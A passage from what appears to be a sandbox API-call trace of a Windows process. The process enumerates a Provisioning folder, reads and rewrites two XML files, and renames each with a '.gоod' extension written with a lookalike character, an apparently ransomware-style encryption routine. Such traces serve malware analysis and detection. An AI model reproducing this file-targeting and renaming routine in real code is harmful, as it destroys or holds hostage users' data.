lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpFilePart=0x0) returned 0x4c [0115.315] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0115.316] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.316] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5410decf, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0115.316] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0115.317] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0115.317] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0115.317] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0115.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0115.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0115.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0115.317] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpFilePart=0x0) returned 0x4c [0115.317] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0115.317] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.317] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5410decf, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0115.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0115.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0115.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.318] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0115.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0115.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0115.318] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0115.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0115.318] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x36314e0 | out: lpFileInformation=0x36314e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5410decf, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc1)) returned 1 [0115.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0115.318] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0115.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0115.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0115.319] GetFileType (hFile=0x6e4) returned 0x1 [0115.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0115.319] GetFileType (hFile=0x6e4) returned 0x1 [0115.319] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0115.319] ReadFile (in: hFile=0x6e4, lpBuffer=0x3631968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3631968*, lpNumberOfBytesRead=0x1fcee2d8*=0xcc1, lpOverlapped=0x0) returned 1 [0115.320] CloseHandle (hObject=0x6e4) returned 1 [0115.320] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0115.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0115.321] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0115.321] GetFileType (hFile=0x6e4) returned 0x1 [0115.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0115.321] GetFileType (hFile=0x6e4) returned 0x1 [0115.321] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1cc1 [0115.321] WriteFile (in: hFile=0x6e4, lpBuffer=0x3632cb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3632cb8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0115.321] CloseHandle (hObject=0x6e4) returned 1 [0115.321] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0115.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0115.322] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0115.322] GetFileType (hFile=0x6e4) returned 0x1 [0115.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0115.322] GetFileType (hFile=0x6e4) returned 0x1 [0115.322] ReadFile (in: hFile=0x6e4, lpBuffer=0x3634fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3634fb0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0115.349] CloseHandle (hObject=0x6e4) returned 1 [0115.349] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0115.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0115.349] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0115.350] GetFileType (hFile=0x6e4) returned 0x1 [0115.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0115.350] GetFileType (hFile=0x6e4) returned 0x1 [0115.350] WriteFile (in: hFile=0x6e4, lpBuffer=0x3633cd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3633cd0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0115.350] CloseHandle (hObject=0x6e4) returned 1 [0115.350] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0115.350] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0115.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0115.350] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40f6b5c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1cd1)) returned 1 [0115.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0115.350] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.gоod")) returned 1 [0115.351] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0115.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0115.351] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x36b1498 | out: lpFileInformation=0x36b1498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0116.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0116.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0116.287] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0116.287] GetFileType (hFile=0x7ec) returned 0x1 [0116.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0116.321] GetFileType (hFile=0x7ec) returned 0x1 [0116.321] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0116.321] ReadFile (in: hFile=0x7ec, lpBuffer=0x338a330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x338a330*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0116.322] CloseHandle (hObject=0x7ec) returned 1 [0116.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0116.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0116.348] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0116.349] GetFileType (hFile=0x7ec) returned 0x1 [0116.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0116.349] GetFileType (hFile=0x7ec) returned 0x1 [0116.349] WriteFile (in: hFile=0x7ec, lpBuffer=0x3401cd8*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3401cd8*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0116.350] CloseHandle (hObject=0x7ec) returned 1 [0116.350] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0116.350] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0116.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0116.350] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x418f4c8c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0116.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0116.350] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.gоod")) returned 1 [0116.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0116.351] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", lpFilePart=0x0) returned 0x51 [0116.351] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.351] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.351] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0116.352] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, 